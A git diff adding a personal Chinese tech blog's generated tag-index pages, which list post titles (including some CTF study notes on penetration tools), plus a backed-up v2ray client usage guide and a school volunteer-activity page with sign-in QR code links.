Steam资料美化 —— 让你的展柜变得好看!
\ No newline at end of file diff --git a/tags/String/index.html b/tags/String/index.html new file mode 100644 index 0000000000..1efae0a67b --- /dev/null +++ b/tags/String/index.html @@ -0,0 +1,269 @@ +Tag: String | GamerNoTitle + + + + + + + + + + + +
从零开始的Python ACM Ch.4:序列和字符串的算法
\ No newline at end of file diff --git a/tags/Surface/index.html b/tags/Surface/index.html new file mode 100644 index 0000000000..3c9694ea46 --- /dev/null +++ b/tags/Surface/index.html @@ -0,0 +1,274 @@ +Tag: Surface | GamerNoTitle + + + + + + + + + + + +
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
\ No newline at end of file diff --git a/tags/Synology/index.html b/tags/Synology/index.html new file mode 100644 index 0000000000..a3c2741772 --- /dev/null +++ b/tags/Synology/index.html @@ -0,0 +1,282 @@ +Tag: Synology | GamerNoTitle + + + + + + + + + + + +
把群晖打造成BT自动下载服务器
在小霸王电脑上安装黑群晖
\ No newline at end of file diff --git a/tags/Teamspeak/index.html b/tags/Teamspeak/index.html new file mode 100644 index 0000000000..0a8bc9fcbd --- /dev/null +++ b/tags/Teamspeak/index.html @@ -0,0 +1,275 @@ +Tag: Teamspeak | GamerNoTitle + + + + + + + + + + + +
Teamspeak服务器搭建指南
\ No newline at end of file diff --git a/tags/Tech/index.html b/tags/Tech/index.html new file mode 100644 index 0000000000..c0917d5c71 --- /dev/null +++ b/tags/Tech/index.html @@ -0,0 +1,403 @@ +Tag: Tech | GamerNoTitle + + + + + + + + + + + +
为什么我选择用回了Valine?
从外网访问Windows服务器上WSL的服务
防止你的Telegram被垃圾私信轰炸 - PagerMaid-Pyro 部署使用
白嫖Repl.it的服务,让你的服务不间断运行
关于我玩Stable-diffusion-webui的那些事
使用Vercel平台部署哔哩漫游服务器(HK、SEA)
使用Fly.io平台部署哔哩漫游服务器
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
使用Python和Qt5来制作带有GUI的程序(持续更新)
Vercel搭建反向代理
\ No newline at end of file diff --git a/tags/Tech/page/2/index.html b/tags/Tech/page/2/index.html new file mode 100644 index 0000000000..c722967cf4 --- /dev/null +++ b/tags/Tech/page/2/index.html @@ -0,0 +1,380 @@ +Tag: Tech | GamerNoTitle + + + + + + + + + + + +
SteamAutoQueue —— Steam自动探索3次队列,帮你拿到促销期间的卡牌!
Linux踩坑记录:为什么我的sudo反应这么慢
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
在华为Watch Pro 3上面安装第三方应用
Teamspeak服务器搭建指南
MHYY-AutoCheckin - 米哈云游(云原神)自动签到脚本食用指南
用Python和Flask打造属于自己的API
NeteaseMusicDownload —— 网易云音乐自助下载网站
音灵INVAXION解锁工具制作全纪录
网站优化:网站目录缩短及重定向
\ No newline at end of file diff --git a/tags/Tech/page/3/index.html b/tags/Tech/page/3/index.html new file mode 100644 index 0000000000..e5f4b0e8cb --- /dev/null +++ b/tags/Tech/page/3/index.html @@ -0,0 +1,406 @@ +Tag: Tech | GamerNoTitle + + + + + + + + + + + +
白嫖?给我也整一个!白嫖网易云游戏平台时长
MCDR-Mirror-Server使用手册和例子 | The usage and example of MCDR-Mirror-Server
MCDR的正确食用方式 - 让你的服务器像TIS一样拥有QB!
Valine-Customize魔改教程
Valine-Magic - Valine表情仓库
hexo-theme-butterfly主题美化小笔记
Netease-Comment-Spider 网易云音乐热评爬虫使用手册
Hitokoto-Spider 一言库爬虫开发日记
手把手教你怎么搭建属于自己的直播服务器~
\ No newline at end of file diff --git a/tags/Theme/index.html b/tags/Theme/index.html new file mode 100644 index 0000000000..7d8f5287f3 --- /dev/null +++ b/tags/Theme/index.html @@ -0,0 +1,280 @@ +Tag: Theme | GamerNoTitle + + + + + + + + + + + +
hexo-theme-butterfly主题美化小笔记
\ No newline at end of file diff --git a/tags/Ticwatch/index.html b/tags/Ticwatch/index.html new file mode 100644 index 0000000000..b8e8cb1d62 --- /dev/null +++ b/tags/Ticwatch/index.html @@ -0,0 +1,279 @@ +Tag: Ticwatch | GamerNoTitle + + + + + + + + + + + +
Ticwatch Pro 3 使用体验报告
\ No newline at end of file diff --git a/tags/Trojan/index.html b/tags/Trojan/index.html new file mode 100644 index 0000000000..7f1479b188 --- /dev/null +++ b/tags/Trojan/index.html @@ -0,0 +1,269 @@ +Tag: Trojan | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)03 —— CobaltStrike 详解
\ No newline at end of file diff --git a/tags/Tutorial/index.html b/tags/Tutorial/index.html new file mode 100644 index 0000000000..6db87123b2 --- /dev/null +++ b/tags/Tutorial/index.html @@ -0,0 +1,275 @@ +Tag: Tutorial | GamerNoTitle + + + + + + + + + + + +
MHYY-AutoCheckin - 米哈云游(云原神)自动签到脚本食用指南
\ No newline at end of file diff --git a/tags/Ubuntu/index.html b/tags/Ubuntu/index.html new file mode 100644 index 0000000000..fa26d5fe7b --- /dev/null +++ b/tags/Ubuntu/index.html @@ -0,0 +1,274 @@ +Tag: Ubuntu | GamerNoTitle + + + + + + + + + + + +
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
\ No newline at end of file diff --git a/tags/VR/index.html b/tags/VR/index.html new file mode 100644 index 0000000000..ce0dfca93a --- /dev/null +++ b/tags/VR/index.html @@ -0,0 +1,275 @@ +Tag: VR | GamerNoTitle + + + + + + + + + + + +
Beat Saber 萌新踩坑记录
\ No newline at end of file diff --git a/tags/Valine/index.html b/tags/Valine/index.html new file mode 100644 index 0000000000..8db54178ee --- /dev/null +++ b/tags/Valine/index.html @@ -0,0 +1,303 @@ +Tag: Valine | GamerNoTitle + + + + + + + + + + + +
为什么我选择用回了Valine?
Valine-Admin博客评论邮件提醒系统部署
\ No newline at end of file diff --git a/tags/Valorant/index.html b/tags/Valorant/index.html new file mode 100644 index 0000000000..6347c92b5d --- /dev/null +++ b/tags/Valorant/index.html @@ -0,0 +1,269 @@ +Tag: Valorant | GamerNoTitle + + + + + + + + + + + +
利用ValorantAPI开发商店查询网站
\ No newline at end of file diff --git a/tags/Vercel/index.html b/tags/Vercel/index.html new file mode 100644 index 0000000000..1982c5d473 --- /dev/null +++ b/tags/Vercel/index.html @@ -0,0 +1,276 @@ +Tag: Vercel | GamerNoTitle + + + + + + + + + + + +
Vercel搭建反向代理
\ No newline at end of file diff --git a/tags/Virus/index.html b/tags/Virus/index.html new file mode 100644 index 0000000000..abd3927020 --- /dev/null +++ b/tags/Virus/index.html @@ -0,0 +1,277 @@ +Tag: Virus | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
CTF学习笔记(大学篇)03 —— CobaltStrike 详解
\ No newline at end of file diff --git a/tags/WIFI/index.html b/tags/WIFI/index.html new file mode 100644 index 0000000000..71abf9190f --- /dev/null +++ b/tags/WIFI/index.html @@ -0,0 +1,279 @@ +Tag: WIFI | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI
\ No newline at end of file diff --git a/tags/WSL/index.html b/tags/WSL/index.html new file mode 100644 index 0000000000..edf56ab59f --- /dev/null +++ b/tags/WSL/index.html @@ -0,0 +1,267 @@ +Tag: WSL | GamerNoTitle + + + + + + + + + + + +
从外网访问Windows服务器上WSL的服务
\ No newline at end of file diff --git a/tags/Warframe/index.html b/tags/Warframe/index.html new file mode 100644 index 0000000000..ed57eab423 --- /dev/null +++ b/tags/Warframe/index.html @@ -0,0 +1,271 @@ +Tag: Warframe | GamerNoTitle + + + + + + + + + + + +
日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作
\ No newline at end of file diff --git a/tags/Web/index.html b/tags/Web/index.html new file mode 100644 index 0000000000..bc3f8c0e8c --- /dev/null +++ b/tags/Web/index.html @@ -0,0 +1,283 @@ +Tag: Web | GamerNoTitle + + + + + + + + + + + +
2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp
\ No newline at end of file diff --git a/tags/Webmaster/index.html b/tags/Webmaster/index.html new file mode 100644 index 0000000000..b0dfa4207d --- /dev/null +++ b/tags/Webmaster/index.html @@ -0,0 +1,285 @@ +Tag: Webmaster | GamerNoTitle + + + + + + + + + + + +
网站优化:网站目录缩短及重定向
\ No newline at end of file diff --git a/tags/Website/index.html b/tags/Website/index.html new file mode 100644 index 0000000000..d0e4063900 --- /dev/null +++ b/tags/Website/index.html @@ -0,0 +1,269 @@ +Tag: Website | GamerNoTitle + + + + + + + + + + + +
为什么我选择用回了Valine?
\ No newline at end of file diff --git a/tags/Windows/index.html b/tags/Windows/index.html new file mode 100644 index 0000000000..36b684bee7 --- /dev/null +++ b/tags/Windows/index.html @@ -0,0 +1,278 @@ +Tag: Windows | GamerNoTitle + + + + + + + + + + + +
从外网访问Windows服务器上WSL的服务
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
\ No newline at end of file diff --git a/tags/adb/index.html b/tags/adb/index.html new file mode 100644 index 0000000000..3b8eb267eb --- /dev/null +++ b/tags/adb/index.html @@ -0,0 +1,279 @@ +Tag: adb | GamerNoTitle + + + + + + + + + + + +
Ticwatch Pro 3 使用体验报告
\ No newline at end of file diff --git a/tags/aircrack/index.html b/tags/aircrack/index.html new file mode 100644 index 0000000000..1c451820e5 --- /dev/null +++ b/tags/aircrack/index.html @@ -0,0 +1,279 @@ +Tag: aircrack | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI
\ No newline at end of file diff --git a/tags/apk/index.html b/tags/apk/index.html new file mode 100644 index 0000000000..72e8f0b360 --- /dev/null +++ b/tags/apk/index.html @@ -0,0 +1,287 @@ +Tag: apk | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
\ No newline at end of file diff --git a/tags/biliRoaming/index.html b/tags/biliRoaming/index.html new file mode 100644 index 0000000000..895bb1ef16 --- /dev/null +++ b/tags/biliRoaming/index.html @@ -0,0 +1,339 @@ +Tag: biliRoaming | GamerNoTitle + + + + + + + + + + + +
使用Vercel平台部署哔哩漫游服务器(HK、SEA)
使用Fly.io平台部署哔哩漫游服务器
收看B站港澳台地区番剧的正确方式 - 哔哩漫游biliRoaming
\ No newline at end of file diff --git a/tags/datatype/index.html b/tags/datatype/index.html new file mode 100644 index 0000000000..12592599ec --- /dev/null +++ b/tags/datatype/index.html @@ -0,0 +1,317 @@ +Tag: datatype | GamerNoTitle + + + + + + + + + + + +
从零开始的Python ACM Ch.1:数据类型及基本数据处理
\ No newline at end of file diff --git a/tags/decompile/index.html b/tags/decompile/index.html new file mode 100644 index 0000000000..97520e718d --- /dev/null +++ b/tags/decompile/index.html @@ -0,0 +1,272 @@ +Tag: decompile | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
\ No newline at end of file diff --git a/tags/diary/index.html b/tags/diary/index.html new file mode 100644 index 0000000000..91c608eade --- /dev/null +++ b/tags/diary/index.html @@ -0,0 +1,357 @@ +Tag: diary | GamerNoTitle + + + + + + + + + + + +
杂谈:为什么我选择了复读
日常吐槽10:我的域名被停止解析了 —— 一段时间
日常吐槽10:为什么我叫做"GamerNoTitle"?
“陪伴是最长情的告白”
日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事
日常吐槽08 - 换用Blackberry9720三个月后的感受
日常吐槽07 - 记录一次成功的举报经历
日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年
日常吐槽04
日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作
\ No newline at end of file diff --git a/tags/diary/page/2/index.html b/tags/diary/page/2/index.html new file mode 100644 index 0000000000..100747792b --- /dev/null +++ b/tags/diary/page/2/index.html @@ -0,0 +1,274 @@ +Tag: diary | GamerNoTitle + + + + + + + + + + + +
日常吐槽02
日常吐槽01
\ No newline at end of file diff --git a/tags/emoji/index.html b/tags/emoji/index.html new file mode 100644 index 0000000000..41d003b9ed --- /dev/null +++ b/tags/emoji/index.html @@ -0,0 +1,293 @@ +Tag: emoji | GamerNoTitle + + + + + + + + + + + +
Valine-Magic - Valine表情仓库
\ No newline at end of file diff --git a/tags/experience/index.html b/tags/experience/index.html new file mode 100644 index 0000000000..84766bad79 --- /dev/null +++ b/tags/experience/index.html @@ -0,0 +1,266 @@ +Tag: experience | GamerNoTitle + + + + + + + + + + + +
与新冠肺炎搏斗的那些日子
\ No newline at end of file diff --git a/tags/flyio/index.html b/tags/flyio/index.html new file mode 100644 index 0000000000..a1f59ccf63 --- /dev/null +++ b/tags/flyio/index.html @@ -0,0 +1,328 @@ +Tag: flyio | GamerNoTitle + + + + + + + + + + + +
使用Vercel平台部署哔哩漫游服务器(HK、SEA)
使用Fly.io平台部署哔哩漫游服务器
\ No newline at end of file diff --git a/tags/hardlink/index.html b/tags/hardlink/index.html new file mode 100644 index 0000000000..0a71e05ef4 --- /dev/null +++ b/tags/hardlink/index.html @@ -0,0 +1,269 @@ +Tag: hardlink | GamerNoTitle + + + + + + + + + + + +
移动你的WSA数据盘,让你的C盘不再爆满
\ No newline at end of file diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 0000000000..8650321e88 --- /dev/null +++ b/tags/index.html @@ -0,0 +1,288 @@ +标签 | GamerNoTitle + + + + + + + + + + + +
\ No newline at end of file diff --git a/tags/jsdelivr/index.html b/tags/jsdelivr/index.html new file mode 100644 index 0000000000..2883b2b684 --- /dev/null +++ b/tags/jsdelivr/index.html @@ -0,0 +1,297 @@ +Tag: jsdelivr | GamerNoTitle + + + + + + + + + + + +
将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用
jsDelivr的正确打开方式
\ No newline at end of file diff --git a/tags/linux-surface/index.html b/tags/linux-surface/index.html new file mode 100644 index 0000000000..fed360bb8f --- /dev/null +++ b/tags/linux-surface/index.html @@ -0,0 +1,274 @@ +Tag: linux-surface | GamerNoTitle + + + + + + + + + + + +
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
\ No newline at end of file diff --git a/tags/live/index.html b/tags/live/index.html new file mode 100644 index 0000000000..a5d1a40a13 --- /dev/null +++ b/tags/live/index.html @@ -0,0 +1,282 @@ +Tag: live | GamerNoTitle + + + + + + + + + + + +
手把手教你怎么搭建属于自己的直播服务器~
\ No newline at end of file diff --git a/tags/mail/index.html b/tags/mail/index.html new file mode 100644 index 0000000000..5e28b92f76 --- /dev/null +++ b/tags/mail/index.html @@ -0,0 +1,269 @@ +Tag: mail | GamerNoTitle + + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
\ No newline at end of file diff --git a/tags/meme/index.html b/tags/meme/index.html new file mode 100644 index 0000000000..c1d0e42270 --- /dev/null +++ b/tags/meme/index.html @@ -0,0 +1,293 @@ +Tag: meme | GamerNoTitle + + + + + + + + + + + +
Valine-Magic - Valine表情仓库
\ No newline at end of file diff --git a/tags/message/index.html b/tags/message/index.html new file mode 100644 index 0000000000..a4a74c8217 --- /dev/null +++ b/tags/message/index.html @@ -0,0 +1,269 @@ +Tag: message | GamerNoTitle + + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
\ No newline at end of file diff --git a/tags/msfconsole/index.html b/tags/msfconsole/index.html new file mode 100644 index 0000000000..65c2ec3069 --- /dev/null +++ b/tags/msfconsole/index.html @@ -0,0 +1,280 @@ +Tag: msfconsole | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
\ No newline at end of file diff --git a/tags/msfvenom/index.html b/tags/msfvenom/index.html new file mode 100644 index 0000000000..7fce4960fb --- /dev/null +++ b/tags/msfvenom/index.html @@ -0,0 +1,271 @@ +Tag: msfvenom | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
\ No newline at end of file diff --git a/tags/railway/index.html b/tags/railway/index.html new file mode 100644 index 0000000000..d8eb715fb5 --- /dev/null +++ b/tags/railway/index.html @@ -0,0 +1,269 @@ +Tag: railway | GamerNoTitle + + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
\ No newline at end of file diff --git a/tags/raspberry/index.html b/tags/raspberry/index.html new file mode 100644 index 0000000000..cf455eb083 --- /dev/null +++ b/tags/raspberry/index.html @@ -0,0 +1,270 @@ +Tag: raspberry | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容
\ No newline at end of file diff --git a/tags/reverse/index.html b/tags/reverse/index.html new file mode 100644 index 0000000000..167646ef62 --- /dev/null +++ b/tags/reverse/index.html @@ -0,0 +1,272 @@ +Tag: reverse | GamerNoTitle + + + + + + + + + + + +
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
\ No newline at end of file diff --git a/tags/school/index.html b/tags/school/index.html new file mode 100644 index 0000000000..4d93fba6c8 --- /dev/null +++ b/tags/school/index.html @@ -0,0 +1,279 @@ +Tag: school | GamerNoTitle + + + + + + + + + + + +
日常吐槽08 - 换用Blackberry9720三个月后的感受
\ No newline at end of file diff --git a/tags/stream/index.html b/tags/stream/index.html new file mode 100644 index 0000000000..9b9650959f --- /dev/null +++ b/tags/stream/index.html @@ -0,0 +1,282 @@ +Tag: stream | GamerNoTitle + + + + + + + + + + + +
手把手教你怎么搭建属于自己的直播服务器~
\ No newline at end of file diff --git a/tags/wechat/index.html b/tags/wechat/index.html new file mode 100644 index 0000000000..402bd1432e --- /dev/null +++ b/tags/wechat/index.html @@ -0,0 +1,269 @@ +Tag: wechat | GamerNoTitle + + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
\ No newline at end of file diff --git "a/tags/\346\233\264\346\226\260Python/index.html" "b/tags/\346\233\264\346\226\260Python/index.html" new file mode 100644 index 0000000000..b606a5c014 --- /dev/null +++ "b/tags/\346\233\264\346\226\260Python/index.html" @@ -0,0 +1,273 @@ +Tag: 更新Python | GamerNoTitle + + + + + + + + + + + +
记一次更新服务器Python的过程
\ No newline at end of file diff --git "a/tags/\346\234\215\345\212\241\345\231\250\350\277\220\347\273\264/index.html" "b/tags/\346\234\215\345\212\241\345\231\250\350\277\220\347\273\264/index.html" new file mode 100644 index 0000000000..3d8a63e192 --- /dev/null +++ "b/tags/\346\234\215\345\212\241\345\231\250\350\277\220\347\273\264/index.html" @@ -0,0 +1,273 @@ +Tag: 服务器运维 | GamerNoTitle + + + + + + + + + + + +
记一次更新服务器Python的过程
\ No newline at end of file diff --git "a/tags/\347\274\226\350\257\221/index.html" "b/tags/\347\274\226\350\257\221/index.html" new file mode 100644 index 0000000000..059f1b32bd --- /dev/null +++ "b/tags/\347\274\226\350\257\221/index.html" @@ -0,0 +1,273 @@ +Tag: 编译 | GamerNoTitle + + + + + + + + + + + +
记一次更新服务器Python的过程
\ No newline at end of file diff --git a/tencent4061228047974157763.txt b/tencent4061228047974157763.txt new file mode 100644 index 0000000000..1218501197 --- /dev/null +++ b/tencent4061228047974157763.txt @@ -0,0 +1 @@ +12191635539963003782 \ No newline at end of file diff --git a/unlock-music/index.html b/unlock-music/index.html new file mode 100644 index 0000000000..fa776b39a4 --- /dev/null +++ b/unlock-music/index.html @@ -0,0 +1,292 @@ +GamerNoTitle | GamerNoTitle + + + + + + + + + + + +
\ No newline at end of file diff --git a/v2ray-Usage/index.md.bak b/v2ray-Usage/index.md.bak new file mode 100644 index 0000000000..001278acac --- /dev/null +++ b/v2ray-Usage/index.md.bak @@ -0,0 +1,82 @@ +--- +title: v2ray 食用指南 +date: 2020-02-29 18:03:15 +--- + +其实这个页面我早就写完了,但是因为写完了以后我电脑崩溃了,重启以后原来保存的数据就乱码了,所以只能重新来一次:( + +--- + +### 前言 + +鉴于ShadowSocksR的抗封性较差,很多人可能会选用v2ray,本页面就来说一说v2ray如何使用。看本页面之前请确保你已经拥有``vmess://``链接和能够使用v2ray的软件,如果你没有软件,那么你可以拉到软件下载部分进行下载! + +### 开始 + +关于v2ray,会有专门的链接协议,写作``vmess://``,后面会跟SSR一样有一大串的字符。举个栗子: + +``` +vmess://ew0KICAidiI6ICIyIiwNCiXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXWFwcC5jb20iLA0KICAicG9ydCI6ICI4MCIsDQogICJpZCI6ICJhYWI3ZWI3YS0wYTE3LTQ5YTAtOTI0OC1iZTM4ZmUyMzdiNTciLA0KICAiYWlkIjOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOAiaG9zdCI6ICIiLA0KICAicGF0aCI6ICIvIiwNCiAgInRscyI6ICIiDQp9 +``` + +这样的一条链接就是可以用于v2ray的链接(本链接中部分字符已经替换成``X``和``O``),如何使用链接呢? + +在这里我们以Windows的v2rayN和Android的v2rayNG做例子,iOS和OSX的用法跟这两差不多。 + +#### Windows: v2rayN + +首先我们打开``v2rayN.exe``,会弹出它的主窗口(如果没有弹出请在任务栏里面寻找) + +![v2rayN主界面](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayN.png) + +点击左上角的服务器,然后选择``从剪贴板导入批量URL``即可,这样你的服务器就会进入服务器列表。 + +然后右击任务栏中的图标,选择``Http代理``,然后再选择``开启Http代理,并自动配置代理服务器(全局模式)``,然后打开你的浏览器,试试是不是可以上谷歌啦! + +![v2rayN全局代理](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayN-Socks-ON.png) + +**注意:如果你的Chrome等浏览器使用了代理型的扩展插件,那么在使用之前请先禁用!** + + + +#### Android: v2rayNG + +![v2rayNG界面](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayNG.png) + +打开手机上的``v2rayNG``,然后点击``+``号,然后选择从剪贴板导入(需提前把链接复制到剪贴板) + +![v2rayNG从剪贴板导入](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayNG-import.png) + +导入完成后,会有Toast提示``成功``,你会在你的界面中看到你的服务器,点击你需要使用的服务器(此时左边会变成**绿色**),点击下面的``V``标小圆圈按钮即可 + +![v2rayNG开启按钮](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayNG-button.png) + +等到启动完成后,按钮也同样会变成**绿色** + + + +--- + +### 软件下载 + +**注:因CDN提供商的限制,在这里Github的文件不提供CDN下载链接** + +``v2rayN(Windows)`` [Github](https://github.com/2dust/v2rayN/releases) + +``v2rayX(Mac)`` [Github](https://github.com/Cenmrev/V2RayX/releases) + +``v2rayNG(Android)`` [Github](https://github.com/2dust/v2rayNG/releases) | [Google Play Store](https://play.google.com/store/apps/details?id=com.v2ray.ang) + +``Kitsunebi(Android)`` [Github](https://github.com/eycorsican/kitsunebi-android/releases) | [Google Play Store](https://play.google.com/store/apps/details?id=fun.kitsunebi.kitsunebi4android) + +``BifrostV(Android)`` [Google Play Store](https://play.google.com/store/apps/details?id=com.github.dawndiy.bifrostv) + +``Kitsunebi(iOS)`` [iTunes](https://itunes.apple.com/us/app/kitsunebi-proxy-utility/id1446584073?mt=8) + +``i2Ray(iOS)`` [iTunes](https://itunes.apple.com/us/app/i2ray/id1445270056?mt=8) + +``Shadowrocket(iOS)`` [iTunes](https://itunes.apple.com/us/app/shadowrocket/id932747118?mt=8) | [安装站](http://shadowrocket.bili33.top/) + +``Pepi(iOS)`` [iTunes](https://itunes.apple.com/us/app/pepi/id1283082051?mt=8) + +``Quantumult(iOS)`` [iTunes](https://itunes.apple.com/us/app/quantumult/id1252015438?mt=8) \ No newline at end of file diff --git a/volunteer/index.md.bak b/volunteer/index.md.bak new file mode 100644 index 0000000000..eec6d8de2e --- /dev/null +++ b/volunteer/index.md.bak @@ -0,0 +1,67 @@ +--- +title: 广州市玉岩中学 i志愿活动签到二维码 +date: 2019-08-20 10:45:56 +--- + +# 注意事项: + +## 1、请先报名对应的活动! + +## 2、请先通过面验(未通过联系管理员) + +## 3、记得签退!!!否则不计志愿时!!! + +#### 2020.1.18~2020.2.14 广州市玉岩中学赴广州市黄埔区香雪地铁站志愿活动 +##### 报名链接:https://www.gdzyz.cn/mission/detail.do?missionId=3244411 + +** 仅接受2020年1月15日前校团委招募计划报名成功的在校学生! ** + +##### 签到 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20200117164201_376.jpg) + +##### 签退 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20200117164201_34.jpg) + +#### 2020.1.18~2020.2.14 广州市玉岩中学赴黄埔区图书馆(香雪馆)志愿者活动 +##### 报名链接:https://www.gdzyz.cn/mission/detail.do?missionId=3244453 + +** 仅接受2020年1月15日前校团委招募计划报名成功的在校学生! ** + +##### 签到 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20200117164702_832.jpg) + +##### 签退 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20200117164702_622.jpg) + +#### 2019.12.26 2019年元旦文艺展演签到签退二维码 +##### 报名链接:https://www.gdzyz.cn/mission/detail.do?missionId=3189045 +##### 签到 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20191223223022_817.jpg) + +##### 签退 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20191223223022_931.jpg) + +#### 2019.11.20~2019.11.22 第十四届校运会签到签退二维码 + +##### 报名链接: https://www.gdzyz.cn/mission/detail.do?missionId=3089302 + +##### 签到 + +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20191120132659_549.jpg) + +##### 签退 + +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20191120132659_955.jpg) + +#### 2019.8.20~2019.8.26 军训签到、签退二维码 + +##### 报名链接:[https://www.gdzyz.cn/mission/detail.do?missionId=2895603](https://www.gdzyz.cn/mission/detail.do?missionId=2895603) + +##### 签到 + +![签到二维码](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20190820101800_934.jpg) + +##### 签退 + +![签退二维码](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20190820101800_924.jpg) +